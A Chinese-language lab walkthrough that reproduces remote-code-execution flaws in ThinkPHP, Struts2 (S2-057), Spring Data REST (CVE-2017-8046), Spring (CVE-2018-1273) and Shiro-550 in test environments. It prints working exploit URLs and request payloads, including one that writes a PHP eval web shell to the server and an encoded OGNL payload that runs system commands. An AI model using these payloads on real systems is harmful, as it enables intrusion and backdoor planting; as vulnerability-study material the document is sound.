常见的框架漏洞----漏洞复现

一、ThinkPHP框架漏洞

1.搭建好环境，进入网站

2.访问index.php

3.在index.php后加?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami   可以看到终端的用户名

4.将问号后改成s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1  可以看到phpinfo信息

5.获得shell权限  将？后改为s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"<?php%20@eval($_POST[cmd]);?>"%20>>13.php   即可将一句话木马输入到13.php内

6.访问植入的木马，成功证明注入成功

7.使用中国蚁剑，测试连接

二、S2-057远程执行代码漏洞

1.搭建环境，启动后再URL后加 /struts2-showcase  进入

2.在url后加   ${(123+123)}/actionChain1.action  运行后发现两数相加了

3.将上面验证payload的值修改为我们的利用exp 

/struts2-showcase/%24%7b%20%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action

三、Spring Data Rest 远程命令执行命令(CVE-2017-8046)

1.搭建环境，启动并在URL后加/customers/1并进行抓包

2.使⽤PATCH请求来修改

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

3.成功发送数据包之后，可以进⼊docker容器内查看是否执⾏命令

四、spring 代码执⾏ （CVE-2018-1273）

1.搭建环境进入，并在URL后加/users

2.填写注册信息后抓包

3.加 上 poc  显示500为执行成功

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
 ouch /tmp/zcc")]=&password=&repeatedPassword=

4.进入终端查看  可以看到成功写入

docker exec -it 环境id名 /bin/bash

ls /tmp

五、Shiro rememberMe反序列化漏洞（Shiro-550）

1.搭建环境打开并抓包，在请求包中的cookie字段中添加 rememberMe=123;，看响应包 header中是否返回 rememberMe=deleteMe值，若有，则证明该系统使⽤了Shiro框架

2.利用工具shiro反序列化工具，爆破成功证明漏洞存在

3.在命令执行中输入whoami执行成功